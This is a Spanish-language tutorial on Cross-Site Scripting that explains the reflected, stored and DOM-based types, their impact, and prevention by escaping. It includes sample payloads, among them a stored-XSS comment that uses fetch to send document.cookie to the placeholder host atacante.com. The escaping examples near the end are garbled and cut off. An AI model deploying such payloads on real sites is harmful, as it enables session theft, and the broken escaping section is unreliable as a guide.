XSS (Cross-Site Scripting): Ataques de Inyección de Script

El **Cross-Site Scripting (XSS)** es una de las vulnerabilidades de seguridad web más comunes y persistentes. Permite a los atacantes inyectar scripts maliciosos (generalmente JavaScript) en páginas web legítimas. Cuando los usuarios visitan estas páginas comprometidas, el script malicioso se ejecuta en su navegador, bajo el contexto de seguridad del sitio web vulnerable. Esto puede llevar a una variedad de ataques, desde el robo de cookies de sesión hasta la desfiguración del sitio o la redirección a páginas de phishing.
¿Cómo Funciona el XSS?
El XSS ocurre cuando una aplicación web toma la entrada del usuario y la incluye en la respuesta HTML sin una validación o sanitización adecuada. El navegador web no tiene forma de saber si el script inyectado es legítimo o malicioso y lo ejecuta como parte del sitio de confianza.
Ejemplo Básico de XSS:
Imagina un campo de búsqueda en una página web. Si la entrada del usuario se refleja directamente en la página de resultados sin escapar, un atacante podría introducir:
<script>alert('¡XSS Vulnerable!');</script>
Si la página vulnerable genera HTML como este:
<p>Resultados para: <script>alert('¡XSS Vulnerable!');</script></p>
El navegador del usuario ejecutará el script, mostrando un cuadro de alerta.
Tipos de Ataques XSS
1. XSS Reflejado (Reflected XSS / Non-Persistent)
El script malicioso se inyecta en la respuesta HTTP directamente desde la solicitud del usuario. No se almacena en el servidor. El ataque se entrega a la víctima a través de un enlace malicioso que contiene el payload XSS. Para que funcione, la víctima debe hacer clic en el enlace especialmente diseñado.
Ejemplo de URL:
http://ejemplo.com/buscar?query=<script>alert(document.cookie)</script>
2. XSS Almacenado (Stored XSS / Persistent)
El payload XSS se almacena permanentemente en el servidor de la aplicación (ej., en una base de datos) y luego se entrega a otros usuarios cuando solicitan la página afectada. Este es el tipo de XSS más peligroso porque no requiere que la víctima haga clic en un enlace malicioso; basta con que visite la página comprometida.
Ejemplo: Un atacante publica un comentario con un script malicioso en un foro o blog. Cada vez que otro usuario ve ese comentario, el script se ejecuta en su navegador.
<p>¡Hola a todos! <script>fetch('http://atacante.com/log?c=' + document.cookie);</script></p>
3. XSS Basado en DOM (DOM-based XSS)
La vulnerabilidad reside en el código JavaScript del lado del cliente (DOM) en lugar de en el código del servidor. El payload XSS se ejecuta como resultado de que el código JavaScript procesa datos de la DOM (ej., de la URL o del `localStorage`) de forma insegura. El servidor no tiene conocimiento del ataque.
Ejemplo: Una página JavaScript lee un parámetro de URL y lo inserta directamente en el HTML sin escapar.
// JavaScript en la página:
var s = document.location.hash.substring(1);
document.write("Bienvenido, " + s + "!");
// URL de ataque:
http://ejemplo.com/#<script>alert(1)</script>
Impacto y Consecuencias del XSS
Un ataque XSS exitoso puede tener consecuencias graves, incluyendo:
- **Robo de Cookies de Sesión (Session Hijacking):** Permite al atacante robar las cookies de sesión del usuario y, por lo tanto, secuestrar su sesión, actuando como la víctima sin necesidad de credenciales.
- **Defacement del Sitio:** Modificar el contenido de la página web que ve el usuario.
- **Redirección Maliciosa:** Redirigir al usuario a sitios web de phishing o que distribuyen malware.
- **Acceso a Información Sensible:** Leer datos que el usuario ha introducido en formularios o información del DOM del navegador.
- **Keylogging:** Capturar las pulsaciones de teclado del usuario.
- **Descarga de Malware:** Forzar al navegador a descargar archivos maliciosos.
- **Explotación de Vulnerabilidades del Navegador:** Combinar con otras vulnerabilidades para un ataque más sofisticado.
Prevención de Ataques XSS
La prevención de XSS requiere un enfoque multifacético, centrado principalmente en la sanitización y el escape de la entrada del usuario:
- **Escape Contextual de la Salida:**
La medida más crítica. **Escapa todos los datos proporcionados por el usuario inmediatamente antes de ser insertados en el HTML.** La forma de escapar depende del contexto HTML donde se insertan los datos (ej. dentro de un elemento HTML, dentro de un atributo, dentro de JavaScript). Utiliza librerías de escape específicas para cada lenguaje y contexto.
- **HTML Escape:** Convierte caracteres como
<
en<
,>
en>
,&
en&
, etc. - **Attribute Escape:** Para atributos HTML (ej. `value=""`), escapa comillas.
- **JavaScript Escape:** Para datos insertados dentro de bloques `
- **HTML Escape:** Convierte caracteres como